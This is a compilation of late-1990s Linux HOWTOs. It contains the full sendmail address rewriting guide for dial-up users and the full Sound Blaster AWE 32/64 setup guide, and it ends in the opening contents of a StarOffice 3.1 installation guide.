    2) Add info on how to setup news to be delivered via UUCP
    (preferably INN). This might require changing the title of the doc.


sendmail address rewriting mini-HOWTO

Thomas Roessler, roessler@guug.de

v0.0, 6 May 1998

This document is a brief description of how to set up sendmail's configuration file for the home user's dial-up access.

1. Introduction

2. File Roadmap

3. Configuring sendmail

  • 3.1 The main configuration file
  • 3.2 Address rewriting
  • 3.3 Aliases

4. Further reading


sendmail address rewriting mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

We assume that you have the kind of Internet access which seems to be most common at universities and online services nowadays: You dial into your provider's network using PPP over a serial connection. Your incoming mail is spooled at the provider's POP or IMAP server, while outgoing messages are to be sent via SMTP. You don't have a domain name of your own, so everything has to use one address.

We assume that you have already installed a fairly recent version of Eric Allman's sendmail (version 8.8.8 is current at the time of this writing and should work fine).

This document is partially referring to specific properties of Debian GNU/Linux systems; users of different distributions will have to take some care.

Make sure you have the following information at hand:

  • Your ISP's mail server
  • Your Internet mail address

The configuration we are planning has two main goals:

  1. Sending mail between various local users must be possible.
  2. The outside world must see the local users' ISP mail addresses, not the local ones.

To achieve this, we will make use of sendmail's genericstable feature.


sendmail address rewriting mini-HOWTO: File Roadmap

 Next Previous Contents

2. File Roadmap

We will put all of sendmail's configuration files in a separate directory under /etc: /etc/mail. Usually, sendmail will expect these files to reside directly under /etc. To avoid problems, /etc/sendmail.cf should be a symbolic link to /etc/mail/sendmail.cf.

The following files will populate /etc/mail:

  • =20
  • aliases - contains additional local addresses
  • genericsdomain - contains some information on your local host's configuration
  • genericstable - contains the actual rewriting rules.
  • sendmail.cf - sendmail's configuration file
  • sendmail.mc - the source of sendmail.cf.

Some of these files will be accompanied by .db files. They contain hashed databases for sendmail's direct use.

We assume that the cf part of sendmail's source tree resides under a directory named /usr/lib/sendmail.cf. This is the case on Debian GNU/Linux systems. Other distributions will put this stuff at different places. Please refer to your distribution's documentation for details.


sendmail address rewriting mini-HOWTO: Configuring sendmail

 Next Previous Contents

3. Configuring sendmail

3.1 The main configuration file

Sendmail uses a highly complex rule system for it's configuration. While you can do lots of neat tricks with this stuff, writing a sendmail.cf file from scratch is rather unusual and time-consuming. If you are interested in doing so, you should stop reading this document right now and instead read the "Bat Book" from O'Reilly.

Instead of hand-crafting these rules, we will rely on the m4 macro processor to put together our configuration file from ready-made pieces which are distributed together with sendmail.

Let's look at the first lines of the sendmail.mc file:

include(/usr/lib/sendmail.cf/m4/cf.m4)
VERSIONID(`sendmail.mc - roessler@guug.de')
OSTYPE(debian)
define(`ALIAS_FILE',`/etc/mail/aliases')

In the beginning, cf.m4 is included. This m4 macro file contains lots of macro definitions for the rest of the file. Be sure that the path you give here is correct - the one we are representing in our example is typical for Debian GNU/Linux. The OSTYPE macro is used to give some useful defaults for certain configuration values. If you aren't using a Debian system, you should replace the word "debian" by "linux" here. ALIAS_FILE tells sendmail where to look for the list of aliases.

The following lines tell sendmail to use the genericstable feature, and where to find the configuration files needed to use it:

FEATURE(masquerade_envelope) FEATURE(genericstable, `hash
-o /etc/mail/genericstable')
GENERICS_DOMAIN_FILE(`/etc/mail/genericsdomain')
The masquerade_envelope feature tells sendmail to apply header rewriting to the envelope sender of a message. This is the mail address to which external mail delivery subsystems will direct their delivery failure reports and warning messages. The generics* files will be explained below.

Now, we have to define a so-called smart host, that is, a machine which will handle outgoing mail for your system. Note that this machine may be different from your ISP's POP and IMAP servers. If in doubt, contact the hotline. The code in the master configuration file:

define(`SMART_HOST',`mail-out.your.provider')
Please replace mail-out.your.provider by the fully qualified hostname of your internet service provider.

The final two lines include the "mailer" definitions which are needed by sendmail to find out how to handle various types of mail:

MAILER(local)
MAILER(smtp)

To generate the sendmail.cf file from this sendmail.mc, type the following commands (as root):

# m4 sendmail.mc > _sendmail.cf
# mv -f _sendmail.cf sendmail.cf
Note the technique of writing m4's output to a temporary file which is thereafter moved to the proper place. This helps us to prevent sendmail from reading partially written configuration files.

3.2 Address rewriting

First, we have to tell sendmail what addresses are to be considered local (and thus should be subjected to the rewriting). This is quite simple: Just put the fully qualified host name of your machine into the file /etc/mail/genericsdomain. To get your host's fully qualified name, type the following command:

 $ hostname -f

Now, let's come to the rewriting table proper: /etc/mail/genericstable. This file consists of two white-space separated columns. The first column contains the local address, the second column contains the e-mail address which should be used instead. The file may look like this:

harry   harryx@your.isp
maude   maudey@her.isp
root    fredx@your.isp
news    fredx@your.isp

Note that there should be one entry for each account on the local machine, so that automatically generated mail which leaks out of the local system carries correct header information.

For performance reasons, sendmail won't use this text file directly, but rely on a "hashed" version instead. To generate it, type the following command:

# makemap -r hash genericstable.db < genericstable

Note that the rewriting rules from the genericstable will not apply to local mail or to messages you receive from outside - the mapping is only used if a message leaves your local system for your ISP's smart host.

3.3 Aliases

The aliases file contains additional local names which are only valid for local messages. This is useful for administrative accounts like root which receive automatically generated messages from your system.

A reasonable start for /etc/mail/aliases could look like the following file:

root: fred
news: root
postmaster: root
mail: root
www: root

nobody: /dev/null
MAILER-DAEMON: nobody

This example will forward local mail for the root, news, postmaster, mail, and www users to fred, while messages for nobody and MAILER-DAEMON will be redirected to /dev/null.

Just like the genericstable, aliases may contain lots of entries. Thus, it would once again be inefficient for sendmail to use the text file we just described. The same mechanism as with genericstable is used for aliases: A hashed database is generated. Instead of using makemap directly, you can type in the command newaliases this time. It will automatically take care of all what's needed.


sendmail address rewriting mini-HOWTO: Further reading

 Next Previous Contents

4. Further reading

The sendmail source distribution includes quite a bit of documentation. Read it, especially the file cf/README.

If you are interested to dive deeper into sendmail's configuration options, you want to get the "Bat Book" from O'Reilly: Bryan Costales, Eric Allman, and Neil Rickert: "sendmail". O'Reilly, 1993.


Sound Blaster AWE 32/64 HOWTO

by Marcus Brinkmann < Marcus.Brinkmann@ruhr-uni-bochum.de>

v1.2, 11 January 1998

This document describes how to install and configure a Sound Blaster 32 (SB AWE 32, SB AWE 64) card from Creative Labs in a Linux System using the AWE Sound Driver Extension written by Takashi Iwai. It also covers some special tools and players for the SB AWE series. Reference system is a Debian GNU/Linux System, but every other Linux Distribution should also work.

1. Introduction

  • 1.1 Acknowledgments
  • 1.2 Revision History
  • 1.3 New versions of this document
  • 1.4 Feedback
  • 1.5 Distribution Policy

2. Before you start

  • 2.1 Introduction
  • 2.2 Some general notes about the SB AWE cards
  • 2.3 Some general notes about the Plug and Play cards
  • 2.4 Some general notes about loadable kernel modules
  • 2.5 Some general notes about the kernel sound driver

3. How to install SB AWE sound support

  • 3.1 Things you will need
  • 3.2 Getting started
  • 3.3 Compiling the kernel
  • 3.4 Reboot

4. Testing the Sound Driver

  • 4.1 /proc/devices, /dev/sndstat
  • 4.2 Output - The Raw Audio Device
  • 4.3 Output - The OPL-2/OPL-3 Synthesis
  • 4.4 Output - The Wave Table Synthesis
  • 4.5 Mixing
  • 4.6 Input - Sampling with the Raw Audio Device
  • 4.7 The MIDI Port

5. AWE Driver Software

  • 5.1 sfxload
  • 5.2 drvmidi

6. Appendix

  • 6.1 Additional Information
  • 6.2 Sources
  • 6.3 Sample isapnp.conf


Sound Blaster AWE 32/64 HOWTO: Introduction

 Next Previous Contents

1. Introduction

This is the Sound Blaster AWE HOWTO. It gives you detailed information about getting the most out of your Sound Blaster 32 or better, including Wave Table synthesis. This document covers all SB cards up from the SB 32.

The Sound Blaster series is well-known in the DOS and Windows community, and a lot of Linux users want to use this sound card under Linux as well. Unfortunately, Creative Labs only provides a sound driver for Windows and DOS, so it is not trivial to install and use a SB card under Linux. This document tries to describe how one can use the features of the SB AWE series under a Linux environment.

1.1 Acknowledgments

This documents contains information I got from the AWE Driver FAQ and the ISA PnP FAQ. See section Sources for author and location of this documents. Thanks to the authors, the SB AWE support is possible.

A lot of essential work was done by Hannu Savolainen, who developed the sound driver that comes with the Linux kernel. Thank you!

I want to thank Nicola Bernardelli for testing the AWE64 stuff. Without him, many errors would have remained undetected.

Thanks to the SGML Tools package, this HOWTO is available in several formats, all generated from a common source file.

1.2 Revision History

Version 1.0

first version

Version 1.1

corrected spelling (thanks Curt!), added version requirement for isapnp, now available via sunsite and lots of mirrors

Version 1.2

French version now available!, minor corrections, lots of spelling fixed (thanks to ispell)

1.3 New versions of this document

The latest version can be found on my Home Page, namely at Sound Blaster AWE HOWTO.

New versions of this document will be uploaded to various anonymous ftp sites that archive such information including ftp://sunsite.unc.edu/pub/Linux/docs/HOWTO/mini.

Hypertext versions of this and other Linux HOWTOs are available on many World-Wide-Web sites, including http://sunsite.unc.edu/LDP/. Most Linux CD-ROM distributions include the HOWTOs, often under the /usr/doc directory.

Thanks to Arnaud Launay zoro@lsol.tm.fr, a French version of this document is now available! The latest version can be found via http or anonymous ftp.

If you make a translation of this document into another language, let me know and I'll include a reference to it here.

1.4 Feedback

I rely on you, the reader, to make this HOWTO useful. If you have any suggestions, corrections, or comments, please send them to me, Marcus.Brinkmann@ruhr-uni-bochum.de, and I will try to incorporate them in the next revision.

i would especially welcome information about the startup procedure (boot scripts etc.) of other famous Linux distributions, e. g. Red Hat or SuSE Linux.

If you publish this document on a CD-ROM or in hardcopy form, a complimentary copy would be appreciated. Mail me for my postal address. Also consider making a donation to the Linux Documentation Project to help support free documentation for Linux. Contact the Linux HOWTO coordinator, Tim Bynum linux-howto@sunsite.unc.edu, for more information.

1.5 Distribution Policy

Copyright 1997 Marcus Brinkmann.

This HOWTO is free documentation; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This document is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. See the GNU General Public License for more details.

You can obtain a copy of the GNU General Public License by writing to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.


Sound Blaster AWE 32/64 HOWTO: Before you start

 Next Previous Contents

2. Before you start

2.1 Introduction

This document tries to help you install and use a Sound Blaster AWE 32 or Sound Blaster AWE 64 from Creative Labs in your Linux system. The reference system is a Debian GNU/Linux system on an Intel i586 platform, but it should work with any other Linux distribution as well as on every platform that is supported by the Linux sound driver (differences are mentioned where they appear, if any).

Be sure to read the Linux Sound HOWTO (see section Additional Information) carefully. I consider my document a supplement to the Sound HOWTO, and often you can find more information about things I have left out there.

2.2 Some general notes about the SB AWE cards

The SB AWE 32 sound card provides a raw audio device, standard OPL-2/OPL-3 synthesis, a MPU-401 MIDI port and 32 voices EMU 8000 Wave Table synthesis (for an explanation on these and other terms see the Linux Sound HOWTO). One goal of this document is to help you get all these features to work properly.

The SB AWE 64 has the capabilities of the SB AWE 32 and an additional Wave Guide synthesis Creative Labs is especially proud of. The problem for Linux users is, that the additional 32 voices are software generated and output via the raw wave devices. Because Creative Labs sees no market in Linux drivers, a Wave Guide synthesis sound driver is only available for Windows 3.1 and Windows 95.

This means that, from a Linux user's point of view, the SB AWE 32 and SB AWE 64 are almost identical. From now on I will only refer to the SB AWE in general and will only mention differences where they appear (if any).

2.3 Some general notes about the Plug and Play cards

Most modern cards for the Intel platform are ISA PnP cards, which is an abbreviation for ``Plug and Play''. This means, that the card has to be configured by the operation system, and this has to be done through an initialization routine at boot time. In general, there are at least three possible ways to do this:

  1. You have a PnP Bios, which means that your Bios is aware of PnP cards and can configure them. If you think you can use all the features of your SB AWE PnP just because you have a PnP Bios, you are out of luck. Even if the Bios claims to support PnP cards it only initializes a subset of the ports and addresses used by your sound card. You will probably be able to play raw wave data, but you won't be able to play MIDI music, for example. For this reason, a PnP Bios is not an option.
  2. You have an operating system that supports PnP cards. The current stable Linux kernel (2.0.x) is not such an operating system, so we have to wait for future kernel releases, that will support PnP devices.
  3. You have a special program, started at boot time, that initializes your PnP cards. This is the way we do it.

The most commonly used software to initialize PnP cards under Linux are the ``isapnptools'' (see section Sources and section Getting Started). They provide a predictable way to configure all ISA PnP cards in your machine, not only your sound card.

2.4 Some general notes about loadable kernel modules

Some device drivers can be built as modules instead of compiling them into the kernel. You can find more information about modules in the Kernel HOWTO and the Module HOWTO (see section Additional Information).

If you have a PnP card, you must install sound support as a loadable kernel module. This means, that you can't build the sound driver into the kernel, but you will have to build it as a module that can be loaded into the kernel at runtime. This is because the kernel will be installed before your ISA PnP card can be configured, and your sound driver has to be loaded after your ISA PnP card is configured.

The sound kernel module can be loaded manually via insmod sound or modprobe -a sound or in the appropriate boot script of your Linux system (in Debian, it is sufficient to append a single line containing sound to /etc/modules). Another approach is to launch kerneld, a daemon that installs and removes kernel modules as needed.

Note that kerneld may not be the best solution for the AWE sound driver module, because it takes time to load the module in the kernel, especially if you want to use Wave Table synthesis and load big Sound Font banks, which you have to do each time after inserting the module. Because kerneld removes unused modules after one minute by default, it is perhaps better to insert the sound module manually or at boot time. Note that inserting the sound module manually or at boot time does prevent kerneld from removing it when it is idle. By the way: You can manually insert the sound module and use kerneld at the same time. The two methods don't conflict, but kerneld does not care about the sound module anymore.

This is especially useful if your mixer settings get disturbed after removing and reinstalling the module. A solution for this problem will be given in section Mixing (there is described how you can start your mixer automatically when the sound module gets inserted). However, it takes time for kerneld to load the module, to load the sound font bank and to start your mixer, and for this and other reasons it is better to install the sound module at boot time and not let kerneld remove it.

2.5 Some general notes about the kernel sound driver

You can install sound support in the kernel as a built-in or as a loadable module. If you have a PnP card, you have to install sound support as a module, because the PnP card needs to be initialized via the isapnptools before the module gets installed.

As you can imagine, you will have to recompile the kernel. I will give you a few hints about it below. For now, let's talk about the sound support in the kernel source. The kernel ships with the Free (Lite) Version of the OSS (USS) sound driver. The current version of this driver (3.5.4) does not support the SB AWE in full, but the SB 16 part of it. So you can have a raw audio device and OPL-2/OPL-3 synthesis if you use it, but you will not be able to play midi music with Wave Table synthesis.

If you want to use the Wave Table device, you can either buy the commercial sound driver from 4Front Technologies (someone please confirm me that it can do it, please), or patch your kernel with the AWE 32 Sound Driver Extension by Takashi Iwai. The former is beyond the scope of this document, I assume you want to use the latter.

The AWE32 Sound Driver Extension (see section Sources) is published under the GNU copyright license and ships with a number of tools to make use of the EMU 8000 wave synthesis of the SB AWE cards.

The awedrv software is already included in newer kernel source trees (starting from some 2.1.x kernels, but perhaps you want to upgrade the sources in your kernel tree, they may be old.


Sound Blaster AWE 32/64 HOWTO: How to install SB AWE sound support

 Next Previous Contents

3. How to install SB AWE sound support

3.1 Things you will need

These are the requirements for SB AWE support under Linux:

  • a functional Linux system (e.g. the Debian GNU/Linux distribution),
  • a SB AWE 32 or compatible card (e.g. SB32, SB32 PnP, SB AWE64, ...),
  • the sources of the Linux kernel, including the sound driver OSS/Free (normally included, check in /usr/src/Linux/drivers/sound/Readme),
  • the AWE 32 sound driver extensions.

If you have a PnP card, you will also need:

  • the isapnptools software package.

Look in section Sources for information where you can obtain these programs.

If you have a Debian GNU/Linux system, this means that you will need the packages kernel-source-<version>, awe-drv and perhaps the package isapnptools. You will want some of the other awe-* packages although they are not essential. I strongly recommend the kernel-package for easy kernel compiling and installing.

3.2 Getting started

Let's assume you have properly installed your card in a socket on your motherboard and perhaps already tested it under a DOS or Windows environment.

The next step is to initialize the card at boot time if and only if it is a PnP card. Follow the documentation in the source package to compile and install isapnptools (or just use the Debian binary package), and make a

# pnpdump > /etc/isapnp.conf

as root. This will generate a hopefully proper configuration file for your PnP cards, but with all devices commented out. Please edit this file carefully, and compare the values for DMA channels, IO bases and interrupts with the configuration of the cards under an DOS or Window environment if possible (with Win95, look at the resources used by the card under resources in the device manager). If you have problems, read the documentation that ships with the isapnptools carefully.

CAUTION: isapnptools often fails to detect all three I/O ports of the SB AWE Wave Table device. Please check carefully the WaveTable entry in your isapnp.conf against the example at the end of this HOWTO. Adjust the I/O base addresses if necessary.

CAUTION: According to the isapnp-faq, sometimes isapnp fails to program the number of the logical device. If you encounter error messages like the following:

Error occurred executing request 'LD 2' on or around line...

then try adding (VERIFYLD N) at the top of isapnp.conf. You have to use at least version 1.10 for this to work. If you can't use version 1.10 or newer, you can also POKE the logical device numbers directly. Please refer to the isapnp-faq for more information on this approach. If it doesn't work for you, please contact me (and the isapnp people will be interested, too, I would think).

CAUTION: Make sure that the last line is (WAITFORKEY), that will sometimes be omitted by older versions of pnpdump.

A sample isapnp.conf for only one PnP card (the sound card) can be found at the end of the document (see section Sample <tt>isapnp.conf</tt>).

If you have a Debian system, no further adjustments are necessary. isapnp will be started at boot time in /etc/init.d/boot with this snippet of script code, that you may want to include in your boot scripts:

# Configure the isa plug and play boards before loading
# modules. Need to do this before loading modules to get
# a chance of configuring and starting PnP boards before
# the drivers mess all this up.
#
if [ -x /etc/init.d/isapnp ]
then
  /etc/init.d/isapnp start
fi
where /etc/init.d/isapnp is
#! /bin/sh
# /etc/init.d/isapnp: configure Plug and Play boards
test -x /sbin/isapnp || exit 0
/sbin/isapnp /etc/isapnp.conf
exit 0

If you have another Linux distribution, you are on your own. I don't know what to do (anybody willing to submit more specific information?). Just make sure that isapnp gets started before the modules will be loaded (see below).

3.3 Compiling the kernel

Before recompiling the kernel, you have to apply the AWE Driver Extension to the sound driver. Even if your kernel source tree already includes the awedrv extension (check /drivers/sound/lowlevel/ for that), you may want to upgrade the awedrv software. Follow the installation instructions in the awedrv source directory. In brief, you have to run an installation script that applies the patches to the kernel sources.

Be careful if you have upgraded the kernel source tree after running the install script. The script just checks if a certain file exists - if it exists, it does not apply the necessary patch. You are well advised to remove the file drivers/sound/lowlevel/awe_wav.c before running the script after upgrading the kernel source.

Next you have to configure the kernel for sound support. I hope you know a bit about kernel compiling; see the Sound HOWTO and the Kernel HOWTO for details. Go in the source directory of your kernel sources (/usr/src/linux for example), and do

# make config

or make menuconfig or make xconfig. Then you have to configure your kernel in the standard way. Use this opportunity to make a small and powerful kernel, especially designed for your system. Be sure to answer Enable loadable module support with Y, if you want to install the sound driver as a loadable module (a must if you have a PnP card), but I'm sure you want to do it anyway.

At one point, you will be asked if you want sound card support. You are free to answer with Y or with M if you have not a PnP card. You must answer with M, for module, if you have a PnP card. You have to compile sound card support as a module if you have a PnP card because the PnP card has to be initialized before the module gets loaded.

The following questions you should answer with Y, all other with N:

Sound Blaster (SB, SBPro, SB16, clones) support (CONFIG_SB) [Y/n/?]
Generic OPL2/OPL3 FM synthesizer support (CONFIG_ADLIB) [Y/n/?]
/dev/dsp and /dev/audio support (CONFIG_AUDIO) [Y/n/?]
MIDI interface support (CONFIG_MIDI) [Y/n/?]
FM synthesizer (YM3812/OPL-3) support (CONFIG_YM3812) [Y/n/?]
lowlevel sound driver support [Y/n/?]
AWE32 support (CONFIG_AWE32_SYNTH) [Y/n/?]

Only the latter is actually for the Wave Table synthesis. The others are SB 16 options from the OSS/Free sound driver.

In addition, you have to configure the sound card I/O port. Look at the isapnp.conf file for hints, if you have one. For me, the following default values are sufficient. Note that the default value from the kernel configuration script may be wrong (especially the values SBC_IRQ and SB_MPU_BASE seem to be incorrect for most cards).

I/O base for SB Check from manual of the card (SBC_BASE) [220]
Sound Blaster IRQ Check from manual of the card (SBC_IRQ) [5]
Sound Blaster DMA 0, 1 or 3 (SBC_DMA) [1]
Sound Blaster 16 bit DMA (_REQUIRED_for SB16, Jazz16, SMW) 5, 6 or 7
(use 1 for 8 bit cards) (SB_DMA2) [5]
MPU401 I/O base of SB16, Jazz16 and ES1688 Check from manual of the card
(SB_MPU_BASE) [330]
SB MPU401 IRQ (Jazz16, SM Wave and ES1688) Use -1 with SB16 (SB_MPU_IRQ) [-1]

Now recompile the kernel. Debian users should use the kernel-package. This package makes the kernel compile as easy as installing a debian package. Look at the documentation in /usr/doc/kernel-package/. Here is a hint:

# make-kpkg clean
# make-kpkg -revision custom.1.0 kernel_image

and then dpkg -i /usr/src/kernel-image-2.0.29_custom.1.0_i386.deb.

If you have another Linux distribution, follow the standard way for compiling a new kernel. Don't forget make modules and make modules_install. Look at the Sound HOWTO and perhaps the Kernel HOWTO for more information.

3.4 Reboot

After installing the new kernel, you should do a reboot (be sure to have a functional boot disk at hand). Cross you fingers.

If you have a PnP card be sure to launch isapnp either in a boot script (as described above) or manually:

# /sbin/isapnp /etc/isapnp.conf
Board 1 has Identity 74 00 00 e3 10 48 00 8c 0e:  CTL0048 Serial No 58128
[checksum 74]

Now you can install the sound driver, if you have compiled it as a module:

# modprobe -a sound
AWE32 Sound Driver v0.3.3e (DRAM 2048k)

If you think the memory detection was not correct (I have a report of one who has a AWE64 with 4096k, and ``detected'' have been 28672k), try either to upgrade the awedrv software or to specify the amount of memory in the file /usr/src/linux/drivers/sound/lowlevel/awe_config.h, for example:

#define AWE_DEFAULT_MEM_SIZE  4096   /* kbytes */

Sorry, you have to recompile the kernel then (perhaps compiling the modules will be sufficient, but I don't know for sure).

If it works, you may want to have the sound module loaded automatically. You can use kerneld (why this is a bad idea is explained in section 1.4) or append a single line containing sound to your /etc/modules (in Debian) or add /sbin/modprobe -a sound to your start-up script.


Sound Blaster AWE 32/64 HOWTO: Testing the Sound Driver

 Next Previous Contents

4. Testing the Sound Driver

4.1 /proc/devices, /dev/sndstat

If you have built-in sound support, you will get some useful information at boot time. If you have sound support installed as a loadable module, you can get the same information (perhaps after removing the sound module with modprobe -r sound first) with

# modprobe -a sound trace_init=1
Sound initialization started

<Sound Blaster 16 (4.13)> at 0x220 irq 5 dma 1,5
<Sound Blaster 16> at 0x330 irq 5 dma 0
<Yamaha OPL3 FM> at 0x388
Sound initialization complete
AWE32 Sound Driver v0.3.3e (DRAM 2048k)

If you have a /proc virtual file system, you can look for the sound device with

# cat /proc/devices
Character devices:
[...]
14 sound
[...]

Next make sure you have the correct devices installed under /dev/. Please look at the Sound HOWTO for details. Then ask /dev/sndstat about the status of the sound module:

# cat /dev/sndstat
Sound Driver:3.5.4-960630 (Sat Oct 11 19:35:14 CEST 1997 root,
Linux flora 2.0.29 #1 Sat Oct 11 19:12:56 CEST 1997 i586 unknown)
Kernel: Linux flora 2.0.29 #1 Sat Oct 11 19:36:23 CEST 1997 i586
Config options: 0

Installed drivers:
Type 1: OPL-2/OPL-3 FM
Type 2: Sound Blaster
Type 7: SB MPU-401

Card config:
Sound Blaster at 0x220 irq 5 drq 1,5
SB MPU-401 at 0x330 irq 5 drq 0
OPL-2/OPL-3 FM at 0x388 drq 0

Audio devices:
0: Sound Blaster 16 (4.13)

Synth devices:
0: Yamaha OPL-3
1: AWE32 Driver v0.3.3e (DRAM 2048k)

Midi devices:
0: Sound Blaster 16

Timers:
0: System clock

Mixers:
0: Sound Blaster
1: AWE32 Equalizer

If you don't have an output like this, perhaps there is an error in your configuration. Go on and see what doesn't work, then go back to step Getting Started, checking everything.

4.2 Output - The Raw Audio Device

Try to get an .au file (Sun workstation) or a raw sample file, and do

# cat bell.au > /dev/audio

resp.

# cat sample > /dev/dsp

You should hear the content of the file via the Audio Device 0: Sound Blaster 16 (4.3).

4.3 Output - The OPL-2/OPL-3 Synthesis

If you want to use the OPL-2/OPL-3 FM synthesis to play MIDI-Files with your sound card, try the program playmidi (see Appendix B). Start it with

# playmidi -f dance.mid

or

# playmidi -4 dance.mid

The former will give you OPL-2, the latter OPL-3 MIDI music. If you are embarrassed about the sound, don't blame playmidi: It is the FM synthesis that sounds bad.

Imagine you would only have the OSS/Free Sound Driver: Than this is the quality of MIDI Music you can achieve (apart from software synthesis). Fortunately, you have a SB AWE, and you can use the Wave Table capabilities with the AWE Sound Driver Extension.

4.4 Output - The Wave Table Synthesis

The AWE Driver Extension comes with special tools (awesfx) to make use of the EMU 8000 Wave Table synthesis. First, you have to load a Sound Font Bank on your card - even if you want to use the ROM samples! You can get the files from your Windows installation - look for files ending in *.sfb or *.sf2.

The ROM samples can be loaded with SYNTHGM.SBK, real samples are in SYNTHGS.SBK and SYNTHMT.SBK, as well as in SAMPLE.SBK. You can get other Sound Font Banks via ftp or www, try the EMU Homepage, the web site from Creative Labs, and look out for the Chaos samples, they are really good (be sure to check out the AWE Driver Web Site).

Try to load the standard GM (ROM) set with

# sfxload -i synthgm.sbk

and then play a midi file that comes with your SB AWE:

# drvmidi dance.mid

4.5 Mixing

Get your favorite mixer program and start it. Start a raw audio sample and two MIDI files at the same time, and try out the mixer settings. Play a bit, it should be very easy. Here a list of the devices and how they are called:

Yamaha OPL-3

Synth or FM

AWE32 Driver

Synth or FM (does anyone know a mixer were the last two are separated from each other?)

Sound Blaster 16 (4.13)

PCM or DSP

PC Speaker (still alive)

Spkr

Other mixer settings refer to the CD ROM, possibly connected to the sound card, to Master Volume, Bass, Treble and Recording Level of the different input lines. You can specify which lines should be recorded.

4.6 Input - Sampling with the Raw Audio Device

You can record different sources: a connected CD ROM, a microphone connected to mic, and any that you can connect to line in. Set the mixer in the appropriate position. Play a sound and record into a file, reading from the Raw Audio Device, for example:

# cdplay
# dd bs=8k count=5 </dev/dsp >music.au
5+0 records in
5+0 records out
# cat music.au >/dev/dsp

records and plays five seconds of audio from the input device.

4.7 The MIDI Port

Sorry, no information about MIDI port yet!


Sound Blaster AWE 32/64 HOWTO: AWE Driver Software

 Next Previous Contents

5. AWE Driver Software

5.1 sfxload

You can load samples in your DRAM on the sound card with the sfxload tool. Note that you can only load one sample file per bank, with bank 0 as default. So, after sfxload synthgs.sbk, the only samples on your sound card are the GS samples. If you want to load additional Sound Font Banks, you have to use the -b option, for example:

# sfxload synthgs.sbk
# sfxload -b1 sample.sbk
# drvmidi sfx.mid

You can load a default Sound Font Bank automatically with installing the module. Just append a line like

post-install sound /usr/bin/sfxload synthgm.sbk

to your /etc/conf.modules file.

See the documentation for more details about sfxload.

5.2 drvmidi

With the drvmidi program, you can use your AWE Driver to play MIDI files. Just specify the name of your midi file after the command:

# drvmidi waltz.mid

See the documentation for more details about drvmidi


Sound Blaster AWE 32/64 HOWTO: Appendix

 Next Previous Contents

6. Appendix

6.1 Additional Information

The Linux Sound HOWTO

Author: Jeff Tranter, < jeff_tranter@pobox.com>

Last Version: v1.17, 4 August 1997

Please take a good look at the Sound HOWTO (available from sunsite.unc.edu and other sites). It contains a bulk of data about compiling the kernel with sound support, and explains a lot about the sound devices, applications etc.

I understand this HOWTO as an addition to the Sound HOWTO.

The Linux Sound Playing HOWTO

Author: Yoo C. Chung, < wacko@laplace.snu.ac.kr>

Last Version: v1.4, 13 May 1997

You should also look at the Sound Playing HOWTO. It tells you about the various sound formats and applications to play them.

The AWE Driver FAQ

Author: Takashi Iwai < iwai@dragon.mm.t.u-tokyo.ac.jp>

Source: http://bahamut.mm.t.u-tokyo.ac.jp/~iwai/awedrv/awedrv-faq.html

If you have problems installing the AWE Driver or using the Wave Table synthesis of your Sound Blaster card, then look here.

The ISA PnP FAQ

Author: Peter Fox < fox@roestock.demon.co.uk>

Source: http://www.roestock.demon.co.uk/isapnptools/isapnpfaq.html

If you have problems configuring your ISA PnP card, then this is your book of wisdom.

6.2 Sources

isapnptools

Author: Peter Fox < fox@roestock.demon.co.uk>

Last Version: 1.11

Source: http://www.roestock.demon.co.uk/isapnptools/index.html

If mailing patches, bug reports or comments, please put 'isapnp' somewhere in the subject line, and mail to isapnp@roestock.demon.co.uk.

awedrv

Author: Takashi Iwai < iwai@dragon.mm.t.u-tokyo.ac.jp>

Last Version: 0.4.2c

Source: http://bahamut.mm.t.u-tokyo.ac.jp/~iwai/awedrv/

Linux kernel

Author: Linus Torvald and many other

Last Version: At the moment, you should use 2.0.29

Source: everywhere, where you can obtain Linux :)

OSS/Free

Author: Hannu Savolainen (Please check http://www.4front-tech.com/usslite before mailing me).

Last Version: I have 3.5.5-beta1

Source: with the Linux kernel source package

Information: http://www.4front-tech.com/usslite or European mirror.

6.3 Sample isapnp.conf

In the ISA PnP configuration file created by pnpdump, the single devices of your PnP cards appear as sections. In the output below, one card was detected (the sound card), with four logical devices:

  • LD 0: Audio Device
  • LD 1: IDE Device
  • LD 2: WaveTable Device
  • LD 3: Gameport Device

I left LD 1 unconfigured, because I have no CD ROM attached to my sound card IDE port. If you have no IDE port on your SB, then LD 1 will be the Gameport Device and LD 3 will not appear.

Please refer to section Getting started for further (important!) information about this file.

# $Id: pnpdump.c,v 1.9 1997/06/10 21:37:32 fox Exp $
# This is free software, see the sources for details.
# This software has NO WARRANTY, use at your OWN RISK
#
# For details of this file format, see isapnp.conf(5)
#
# For latest information on isapnp and pnpdump see:
# http://www.roestock.demon.co.uk/isapnptools/
#
# Compiler flags: -DREALTIME -DNEEDSETSCHEDULER

(READPORT 0x0203)
(ISOLATE)
(IDENTIFY *)

# Try the following if you get error messages like
# Error occurred executing request 'LD 2' on or around line...

#(VERIFYLD N)

# ANSI string -->Creative SB32 PnP<--

(CONFIGURE CTL0048/58128 (LD 0
#     ANSI string -->Audio<--

  (INT 0 (IRQ 5 (MODE +E)))
  (DMA 0 (CHANNEL 1))
  (DMA 1 (CHANNEL 5))
  (IO 0 (BASE 0x0220))
  (IO 1 (BASE 0x0330))
  (IO 2 (BASE 0x0388))

  (ACT Y)
))

(CONFIGURE CTL0048/58128 (LD 1
#     ANSI string -->IDE<--

# (INT 0 (IRQ 10 (MODE +E)))
# (IO 0 (BASE 0x0168))
# (IO 1 (BASE 0x036e))

# (ACT Y)
))

(CONFIGURE CTL0048/58128 (LD 2
#     ANSI string -->WaveTable<--

  (IO 0 (BASE 0x0620))
  (IO 1 (BASE 0x0A20))
  (IO 2 (BASE 0x0E20))

  (ACT Y)
))

(CONFIGURE CTL0048/58128 (LD 3
#     ANSI string -->Game<--

  (IO 0 (BASE 0x0200))
  (ACT Y)
))

# Returns all cards to the "Wait for Key" state
(WAITFORKEY)


StarOffice 3.1 Mini-HOWTO

Matthew Borowski ( mkb@poboxes.com )
( http://tarp.worldserve.net/ )

v1.1, 28 November 1999

Information on installing the StarOffice 3.1 Office Suite by StarDivision.

1. Introduction

  • 1.1 Motif info
  • 1.2 History of this document

2. Obtaining the StarOffice Office Suite

3. Installation of StarOffice

  • 3.1 Libc Issues and Fixes
